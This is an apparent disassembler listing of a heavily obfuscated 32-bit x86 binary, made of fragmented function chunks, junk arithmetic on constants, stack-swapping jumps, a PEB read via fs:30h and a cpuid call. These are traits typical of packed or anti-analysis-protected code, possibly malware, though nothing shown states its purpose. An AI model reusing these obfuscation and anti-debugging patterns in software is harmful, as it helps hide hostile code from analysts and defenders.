--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A467 loc_4247A0: ; CODE XREF: sub_42A467-3630j mov eax, ecx loc_4247A2: ; CODE XREF: sub_42A467:loc_425A6Cj push offset sub_4273F7 jmp loc_424B42 ; END OF FUNCTION CHUNK FOR sub_42A467 ; --------------------------------------------------------------------------- push eax rol eax, 18h loc_4247B0: ; CODE XREF: wto1jq8f:0042EFEBj mov ds:dword_42CAE0, eax retn ; --------------------------------------------------------------------------- push 4E206D15h jmp loc_42B177 ; =============== S U B R O U T I N E ======================================= sub_4247C1 proc near ; DATA XREF: sub_424382o ; FUNCTION CHUNK AT 00429D7E SIZE 00000005 BYTES push ebx push ecx mov eax, large fs:30h push offset loc_42BDFB jmp loc_429D7E sub_4247C1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C04 loc_4247D4: ; CODE XREF: sub_426C04+1j mov ebp, esp jnz sub_42BE51 add esp, 0FFFFFFE4h mov [ebp-8], edx mov [ebp-4], eax xor eax, eax jmp loc_426E43 ; END OF FUNCTION CHUNK FOR sub_426C04 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_212. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_4247ED: ; CODE XREF: sub_429B76+4556j jmp loc_42B374 ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_4247F2: ; CODE XREF: sub_42A909+22Cj sub ebx, ecx cmp ecx, 9F761E91h jmp loc_4242E1 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_4247FF: ; CODE XREF: sub_42E9E8-6366j pop eax xor eax, 49E4350Eh add eax, 701C9428h popf jmp loc_428A8F ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A1B loc_424812: ; CODE XREF: sub_424A1B+24j push offset loc_424AB5 loc_424817: ; CODE XREF: wto1jq8f:loc_427762j jmp nullsub_220 ; END OF FUNCTION CHUNK FOR sub_424A1B ; =============== S U B R O U T I N E ======================================= sub_42481C proc near ; CODE XREF: sub_429BFF:loc_42B334p ; wto1jq8f:0042FFFBj ; FUNCTION CHUNK AT 00424949 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042900A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004294DD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A257 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042A49E SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0042E045 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042F3C5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F628 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F979 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov eax, [eax-4] push eax call sub_42A4A5 test eax, eax jmp loc_4294DD sub_42481C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FACF loc_424830: ; CODE XREF: sub_42FACF:loc_42A7D8j jnz loc_42DC09 jmp loc_42C372 ; END OF FUNCTION CHUNK FOR sub_42FACF ; =============== S U B R O U T I N E ======================================= sub_42483B proc near ; CODE XREF: sub_429308-4DDAp ; wto1jq8f:0042F6D8j xchg esi, [esp+0] pop esi setnz byte ptr [ebp-9] mov al, [ebp-9] mov esp, ebp pop ebp retn sub_42483B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A3BC loc_42484A: ; CODE XREF: sub_42A3BC+2B87j jmp loc_42F973 ; END OF FUNCTION CHUNK FOR sub_42A3BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C6C3 loc_42484F: ; CODE XREF: sub_42C6C3+11j jmp loc_42D81C ; END OF FUNCTION CHUNK FOR sub_42C6C3 ; --------------------------------------------------------------------------- loc_424854: ; CODE XREF: wto1jq8f:0042B888j jmp loc_42A1DA ; =============== S U B R O U T I N E ======================================= sub_424859 proc near ; CODE XREF: sub_42A3EB:loc_424A82p ; sub_42F947+7p ; FUNCTION CHUNK AT 0042B75D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042DAED SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FAA9 SIZE 00000005 BYTES push ebp jmp loc_42DAED sub_424859 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42414C loc_42485F: ; CODE XREF: sub_42414C:loc_42F853j call sub_424585 mov edx, 4CB976E9h call sub_429165 call sub_429017 ; END OF FUNCTION CHUNK FOR sub_42414C ; START OF FUNCTION CHUNK FOR sub_42DB52 loc_424873: ; CODE XREF: sub_42DB52:loc_428F51j adc edi, 0A44687EBh rol ebp, 19h jmp loc_42A9A6 ; END OF FUNCTION CHUNK FOR sub_42DB52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_424881: ; CODE XREF: sub_429471-2BC1j jnz loc_42BF3B cmp edi, edx jmp loc_42B18A ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- loc_42488E: ; CODE XREF: wto1jq8f:0042F4BDj jnz loc_42A442 jmp loc_4263AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B520 loc_424899: ; CODE XREF: sub_42B520+Aj and eax, 7 mov [ebp-14h], eax cmp dword ptr [ebp-10h], 3 push offset sub_42E1D2 jmp nullsub_49 ; END OF FUNCTION CHUNK FOR sub_42B520 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B8FC loc_4248AD: ; CODE XREF: sub_42B8FC-386Aj cmp edx, 925E668Bh jmp loc_42C129 ; END OF FUNCTION CHUNK FOR sub_42B8FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB63 loc_4248B8: ; CODE XREF: sub_42CB63-6101j jz loc_42C1CB push ebp mov eax, [ebp-20h] call sub_42604C jmp loc_42F8F0 ; END OF FUNCTION CHUNK FOR sub_42CB63 ; --------------------------------------------------------------------------- locret_4248CC: ; CODE XREF: wto1jq8f:loc_42B57Fj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426950 loc_4248CD: ; CODE XREF: sub_426950:loc_42BB0Dj jnz loc_4263E7 jmp loc_42A5F1 ; END OF FUNCTION CHUNK FOR sub_426950 ; --------------------------------------------------------------------------- loc_4248D8: ; CODE XREF: wto1jq8f:0042F59Aj cdq loc_4248D9: ; CODE XREF: wto1jq8f:loc_42CBC6j add dword ptr [esi], 0F80486h ; START OF FUNCTION CHUNK FOR sub_4262F5 loc_4248DF: ; CODE XREF: sub_42F2C7-94A6j ; wto1jq8f:loc_426035j ... pop edi pop esi jmp loc_4293BB ; END OF FUNCTION CHUNK FOR sub_4262F5 ; =============== S U B R O U T I N E ======================================= sub_4248E6 proc near ; CODE XREF: wto1jq8f:0042E770j ; wto1jq8f:0042F448p arg_0 = dword ptr 4 mov [esp+0], edx pop edx xchg esi, [esp-4+arg_0] jmp sub_429165 sub_4248E6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BD4 loc_4248F2: ; CODE XREF: sub_424BD4:loc_428FC1j ; sub_42C4E2-30C4j call sub_426E98 pop ecx shl eax, 3 mov edx, [ebp+8] or [edx-8], eax jmp loc_42A80D ; END OF FUNCTION CHUNK FOR sub_424BD4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_103. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_424907 proc near ; CODE XREF: sub_42E9E8:loc_4265CFp ; wto1jq8f:0042B4E3j ; FUNCTION CHUNK AT 0042918B SIZE 0000000B BYTES mov [esp+0], eax pop eax xor ebx, ebx xor ecx, ecx xor edx, edx cpuid add [esi], eax jmp loc_42918B sub_424907 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CA3D loc_42491A: ; CODE XREF: sub_42CA3D:loc_42CDC5j call sub_424406 ; END OF FUNCTION CHUNK FOR sub_42CA3D ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_42491F: ; CODE XREF: sub_42D9D9:loc_426E8Ej call sub_42BE69 loc_424924: ; CODE XREF: sub_42A909-1A2Bj jmp loc_42C9C9 ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AE5 loc_424929: ; CODE XREF: sub_428AE5-2EAAj jmp loc_42F5FB ; END OF FUNCTION CHUNK FOR sub_428AE5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42492E: ; CODE XREF: sub_426535+76F4j xor eax, 0DEC52FB9h loc_424934: ; CODE XREF: sub_426535:loc_42416Bj ; sub_426535-14ECj ... jns loc_42BDAA cmp dword ptr [ebp-4], 6 jnz loc_42F4F4 jmp loc_4277FA ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42481C loc_424949: ; CODE XREF: sub_42481C+47F0j mov eax, [ebp-8] call sub_42A56D pop ecx loc_424952: ; CODE XREF: wto1jq8f:0042E8C5j pop ecx jmp loc_42F979 ; END OF FUNCTION CHUNK FOR sub_42481C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_424958: ; CODE XREF: sub_429471:loc_4260BFj ; DATA XREF: sub_427F8F:loc_42C20Bo mov eax, [ebp+8] cmp dword ptr [eax-4], 4 jnz loc_42496E add dword ptr [ebp-8], 4 jmp loc_42AA82 ; --------------------------------------------------------------------------- loc_42496E: ; CODE XREF: sub_429471-4B12j add dword ptr [ebp-8], 2 jmp loc_42AA82 ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- loc_424977: ; CODE XREF: wto1jq8f:0042DDB7j adc edi, 88FD7ED1h test edx, 0B5BB1D04h jmp loc_429DB2 ; --------------------------------------------------------------------------- loc_424988: ; DATA XREF: wto1jq8f:loc_42635Eo push edx push edi push 36AA6C02h pop edi jmp loc_4276FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FAE4 loc_424995: ; CODE XREF: sub_42FAE4-16BFj jnb loc_42BDFE pushf jl loc_426931 mov esi, 6D5B5F8Eh jmp loc_42F149 ; END OF FUNCTION CHUNK FOR sub_42FAE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42760F loc_4249AC: ; CODE XREF: sub_42760F+Aj jnz loc_42A7C4 loc_4249B2: ; CODE XREF: sub_42CA12:loc_42EC6Fj jnb loc_42DEDC lea eax, [ebp-125h] push eax call sub_42B02D mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz loc_42D900 jmp loc_427772 ; END OF FUNCTION CHUNK FOR sub_42760F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429165 loc_4249D6: ; CODE XREF: sub_429165:loc_42D608j cmp [ebp+var_4], 0 jz loc_4250CA mov eax, [ebp+var_4] push offset loc_428F04 jmp sub_42F8E5 ; END OF FUNCTION CHUNK FOR sub_429165 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_4249ED: ; CODE XREF: sub_42C486:loc_42E086j pop edx add edx, 0B82782FFh or edx, 7ECFEFC1h jnz loc_42AD77 loc_424A00: ; CODE XREF: sub_42B353+4C7Ej jmp loc_4288DE ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_424A05: ; CODE XREF: sub_42D9D9-932j jmp nullsub_95 ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- push 0B406C6D0h jnz loc_42AB5D jmp loc_42AD69 ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424A1B proc near ; CODE XREF: wto1jq8f:00424C98p ; FUNCTION CHUNK AT 00424812 SIZE 0000000A BYTES push ebp mov ebp, esp call sub_42D133 loc_424A23: ; DATA XREF: sub_426086+Ao add eax, ebp add eax, 55C45975h mov dword ptr [eax], 474244h push 0 push 0C9F21593h pop eax add eax, 7F9EC428h jmp loc_424812 sub_424A1B endp ; --------------------------------------------------------------------------- loc_424A44: ; DATA XREF: sub_42C6B1-24FFo mov ebp, esp call sub_42750A loc_424A4B: ; CODE XREF: wto1jq8f:0042F982j and ecx, edi ; START OF FUNCTION CHUNK FOR sub_42A3BC loc_424A4D: ; CODE XREF: sub_42A3BC:loc_42F973j add eax, 0A8DD7161h call sub_4246D4 ; END OF FUNCTION CHUNK FOR sub_42A3BC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_179. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DE87 loc_424A59: ; CODE XREF: sub_42DE87+Dj jmp loc_428116 ; END OF FUNCTION CHUNK FOR sub_42DE87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_424A5E: ; CODE XREF: sub_42D9D9-5002j jmp nullsub_96 ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_206. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429D2E loc_424A64: ; CODE XREF: sub_429D2E+28A1j jmp loc_428D27 ; END OF FUNCTION CHUNK FOR sub_429D2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A14D loc_424A69: ; CODE XREF: sub_42A14D:loc_424C90j jmp loc_42A9C9 ; END OF FUNCTION CHUNK FOR sub_42A14D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A8D loc_424A6E: ; CODE XREF: sub_427A8D:loc_42C46Bj or eax, eax jnz loc_42A041 jmp loc_4243EA ; END OF FUNCTION CHUNK FOR sub_427A8D ; --------------------------------------------------------------------------- mov eax, edx jmp sub_42F75D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A3EB loc_424A82: ; CODE XREF: sub_42A3EB:loc_428D05j call sub_424859 pop ecx mov eax, [ebp-4] ; END OF FUNCTION CHUNK FOR sub_42A3EB ; START OF FUNCTION CHUNK FOR sub_42A3DA loc_424A8B: ; CODE XREF: sub_42A3DA:loc_428C6Cj pushf push 2BEC3172h pop edx add edx, 2417B798h jmp loc_4281F5 ; END OF FUNCTION CHUNK FOR sub_42A3DA ; --------------------------------------------------------------------------- db 0Fh, 8Ah, 0F8h dd 0B00001Ch, 0FC8EE9C1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A197 loc_424AAA: ; CODE XREF: sub_42A197+Ej mov al, [ebp-0Ah] shr eax, 4 call sub_42D434 loc_424AB5: ; DATA XREF: sub_424A1B:loc_424812o add eax, ebp add eax, 0B66F2625h push eax call sub_42596F jmp loc_426E93 ; END OF FUNCTION CHUNK FOR sub_42A197 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42708B loc_424AC8: ; CODE XREF: sub_42708B+8296j jnz loc_42D302 loc_424ACE: ; CODE XREF: wto1jq8f:004286BFj jmp loc_429A94 ; END OF FUNCTION CHUNK FOR sub_42708B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_190. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_237. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A53 loc_424AD5: ; CODE XREF: sub_427A53+7j jmp nullsub_21 ; END OF FUNCTION CHUNK FOR sub_427A53 ; =============== S U B R O U T I N E ======================================= sub_424ADA proc near ; DATA XREF: sub_42B63C+19F0o ; FUNCTION CHUNK AT 004273F2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428081 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004291E1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DDDC SIZE 0000000A BYTES mov [ebx], eax pop ebx cmp dword ptr [ebp-10h], 0 jz loc_4245A9 jmp loc_4291E1 sub_424ADA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F50F loc_424AEC: ; CODE XREF: sub_42F50F:loc_42790Cj call sub_428CE9 loc_424AF1: ; CODE XREF: wto1jq8f:0042627Cj jmp loc_42CFC8 ; END OF FUNCTION CHUNK FOR sub_42F50F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_424AF6: ; CODE XREF: sub_42E9E8:loc_42CECCj jz loc_42CEF5 cmp ebx, 53EE830Ch push ebx push 0DF55336Bh xchg edi, [esp+0] loc_424B0B: ; CODE XREF: wto1jq8f:loc_42F3DBj mov ebx, edi pop edi jmp loc_428ECC ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- loc_424B13: ; CODE XREF: wto1jq8f:loc_42F180j pop esi xor esi, 41760191h or esi, 1FEC9B2Eh push offset loc_42D7BA jmp locret_42E75A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_249. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_424B2B: ; DATA XREF: sub_42760F-186Bo jnz loc_42D900 lea eax, [ebp-125h] push eax call sub_42D8F4 loc_424B3D: ; CODE XREF: wto1jq8f:0042B728j jmp loc_425E10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A467 loc_424B42: ; CODE XREF: sub_42A467-5CC0j jmp nullsub_143 ; END OF FUNCTION CHUNK FOR sub_42A467 ; =============== S U B R O U T I N E ======================================= sub_424B47 proc near ; CODE XREF: wto1jq8f:00428A85p mov [esp+0], eax rol eax, 17h call sub_424E0E sub_424B47 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42B2A8 loc_424B52: ; CODE XREF: sub_42B2A8:loc_424DE2j xchg edi, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_42B2A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA8E loc_424B56: ; CODE XREF: sub_42AA8E+11j jmp loc_4299BE ; END OF FUNCTION CHUNK FOR sub_42AA8E ; --------------------------------------------------------------------------- loc_424B5B: ; DATA XREF: sub_42B2A8+12o or edi, 0A659CC47h call sub_42B339 ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_424B66: ; CODE XREF: sub_42D9D9-3C39j jmp loc_426994 ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42433B loc_424B6B: ; CODE XREF: sub_42433B+11j jmp loc_42CC05 ; END OF FUNCTION CHUNK FOR sub_42433B ; =============== S U B R O U T I N E ======================================= sub_424B70 proc near ; CODE XREF: wto1jq8f:00428967p var_4 = dword ptr -4 push ecx mov [esp+4+var_4], ebp call sub_4278BD sub_424B70 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42BEF6 loc_424B79: ; CODE XREF: sub_42BEF6+1Cj sub eax, ebx cmp ecx, 641D3431h xor ecx, eax sbb ebx, ecx and eax, 0DF04398Ch ror edx, 3 jmp loc_424E2D ; END OF FUNCTION CHUNK FOR sub_42BEF6 ; =============== S U B R O U T I N E ======================================= sub_424B93 proc near ; DATA XREF: sub_428AC6+4E6o xchg esi, [esp+0] call eax sub_424B93 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_426144 loc_424B98: ; CODE XREF: sub_426144+9547j mov [ebp-4], eax loc_424B9B: ; CODE XREF: wto1jq8f:0042B6E7j ; sub_426144+97D5j dec ds:dword_42F1CC mov eax, [ebp-4] pop ecx jmp loc_42DF9C ; END OF FUNCTION CHUNK FOR sub_426144 ; --------------------------------------------------------------------------- loc_424BAA: ; CODE XREF: wto1jq8f:0042EC80j not edx ; =============== S U B R O U T I N E ======================================= sub_424BAC proc near ; CODE XREF: sub_426968:loc_42AB09p var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 004262AB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D6FF SIZE 0000000D BYTES mov [esp+0], esi pop esi mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F7h jnz loc_42D6FF jmp loc_4262AB sub_424BAC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_424BC5: ; CODE XREF: sub_426968:loc_42AC2Fj mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h jmp loc_4275CC ; END OF FUNCTION CHUNK FOR sub_426968 ; =============== S U B R O U T I N E ======================================= sub_424BD4 proc near ; DATA XREF: sub_42C4E2-30BBo ; FUNCTION CHUNK AT 004248F2 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00426758 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00427041 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042793B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00428564 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00428FC1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A80D SIZE 00000005 BYTES jnz loc_428564 mov eax, [ebp+8] push eax cmp dword ptr [ebp-14h], 6 setz al jmp loc_428FC1 sub_424BD4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5B2 loc_424BEA: ; CODE XREF: sub_42E5B2:loc_42EAD7j pop eax cmp dword ptr [eax], 0 jnz loc_42E5C2 jmp loc_425CFA ; END OF FUNCTION CHUNK FOR sub_42E5B2 ; =============== S U B R O U T I N E ======================================= sub_424BF9 proc near ; CODE XREF: wto1jq8f:00429223p ; sub_42E5B2-5378p ... ; FUNCTION CHUNK AT 004268C1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004275F5 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00428B8F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428BDA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CE55 SIZE 00000008 BYTES jo sub_429DFC push ebp jmp loc_4275F5 sub_424BF9 endp ; --------------------------------------------------------------------------- loc_424C05: ; CODE XREF: wto1jq8f:0042A8BBj jnz loc_42C8D1 jmp loc_4269EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429AE8 loc_424C10: ; CODE XREF: sub_429AE8+19j add eax, 0C1DA0F1Fh sub eax, 0A66F9C11h xor eax, 2DB8E88Fh add eax, ebp push offset loc_4261F9 jmp nullsub_35 ; END OF FUNCTION CHUNK FOR sub_429AE8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_424C2E: ; CODE XREF: sub_42A6CD:loc_4285D0j ror eax, 1 add eax, edx jnp loc_42D545 jmp loc_42E79B ; END OF FUNCTION CHUNK FOR sub_42A6CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A9E loc_424C3D: ; CODE XREF: sub_427A9E:loc_424E42j call sub_424585 push offset loc_42BA1C jmp nullsub_66 ; END OF FUNCTION CHUNK FOR sub_427A9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BD3 loc_424C4C: ; CODE XREF: sub_429BD3+8j push 0E33D181Eh pop eax xor eax, 0E33D193Eh push offset loc_42C7C0 jmp nullsub_106 ; END OF FUNCTION CHUNK FOR sub_429BD3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_125. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_424C63: ; CODE XREF: sub_429B76+127Aj jmp loc_428AB1 ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FF9A loc_424C68: ; CODE XREF: sub_42FF9A-64B7j jmp loc_428C9F ; END OF FUNCTION CHUNK FOR sub_42FF9A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DCB4 loc_424C6D: ; CODE XREF: sub_42DCB4-4795j jmp loc_42BE01 ; END OF FUNCTION CHUNK FOR sub_42DCB4 ; --------------------------------------------------------------------------- loc_424C72: ; CODE XREF: wto1jq8f:00428C9Aj xor eax, 62C68F88h add eax, ebp add eax, 863E77E4h mov eax, [eax] push eax call sub_42414C ; START OF FUNCTION CHUNK FOR sub_42A14D loc_424C88: ; CODE XREF: sub_42A14D+4j test eax, eax jz loc_42F5A8 loc_424C90: ; CODE XREF: wto1jq8f:loc_42F82Aj jmp loc_424A69 ; END OF FUNCTION CHUNK FOR sub_42A14D ; --------------------------------------------------------------------------- loc_424C95: ; CODE XREF: wto1jq8f:004287A0j xchg ebx, [esp] call sub_424A1B push ecx push 0B9186193h pop ecx jmp loc_426D94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428333 loc_424CA9: ; CODE XREF: sub_4272F3-130Dj ; wto1jq8f:loc_428101j ... jz loc_42869C test eax, 2 jz loc_4272DE jmp loc_42C906 ; END OF FUNCTION CHUNK FOR sub_428333 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_424CBF: ; CODE XREF: sub_426535+3A0Fj xor ecx, 0A89E171h jnb loc_42DF09 jmp loc_42D260 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- and ebp, ecx jmp loc_424303 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_120. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_424CD8: ; CODE XREF: wto1jq8f:0042437Dj jmp locret_426D1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_424CDD: ; CODE XREF: sub_426C0C+88F8j jz loc_42C4A2 loc_424CE3: ; CODE XREF: sub_429471:loc_426615j jmp loc_42F73D ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426144 loc_424CE8: ; CODE XREF: sub_426144:loc_42C1D6j ; sub_426144+6FB6j push eax push 5779C8FBh pop eax loc_424CEF: ; CODE XREF: wto1jq8f:0042F6D2j xor eax, 0AA7B75A7h add eax, ebp add eax, 2FD42B4h mov eax, [eax] jmp loc_42FD3D ; END OF FUNCTION CHUNK FOR sub_426144 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_424D04: ; CODE XREF: sub_42CB36:loc_42F1E4j jo loc_42F9E4 shr edi, 5 add esi, 77202386h jmp loc_42C73E ; END OF FUNCTION CHUNK FOR sub_42CB36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D47 loc_424D18: ; CODE XREF: sub_428D47:loc_428D57j xor edx, edx div ecx mov [ebp-1Ch], edx mov eax, [ebp-0Ch] jmp loc_425A3B ; END OF FUNCTION CHUNK FOR sub_428D47 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_424D27: ; CODE XREF: sub_42A909-6620j ; sub_42A909:loc_42AB2Fj call sub_42CB36 test al, al jz loc_42FF67 call sub_424D3A retn ; END OF FUNCTION CHUNK FOR sub_42A909 ; =============== S U B R O U T I N E ======================================= sub_424D3A proc near ; CODE XREF: sub_42A909-5BD5p ; FUNCTION CHUNK AT 0042A757 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042B406 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042B8EB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042C9C4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D8A9 SIZE 0000000B BYTES push ebp loc_424D3B: ; CODE XREF: sub_42A909:loc_42AFA5j jmp loc_42A757 sub_424D3A endp ; --------------------------------------------------------------------------- loc_424D40: ; DATA XREF: sub_426456+1o mov ebp, esp push ecx mov esp, ebp mov ebp, offset sub_424D58 xchg ebp, [esp] retn ; --------------------------------------------------------------------------- loc_424D4E: ; CODE XREF: wto1jq8f:0042AF3Bj jmp nullsub_217 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_424D53: ; CODE XREF: sub_426968+143Aj jmp loc_42E910 ; END OF FUNCTION CHUNK FOR sub_426968 ; =============== S U B R O U T I N E ======================================= sub_424D58 proc near ; DATA XREF: wto1jq8f:00424D45o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042915B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A7EF SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042C45E SIZE 0000000D BYTES mov eax, ds:dword_42F0A4 jmp loc_42C45E sub_424D58 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_424D63 proc near ; CODE XREF: sub_429165:loc_42BBC3j ; FUNCTION CHUNK AT 0042CFF2 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042D844 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EA63 SIZE 00000008 BYTES add esp, 0FFFFFED8h call sub_42FC41 loc_424D6E: ; CODE XREF: sub_42DC5C-5405j jnz loc_42CFF7 jmp loc_42D844 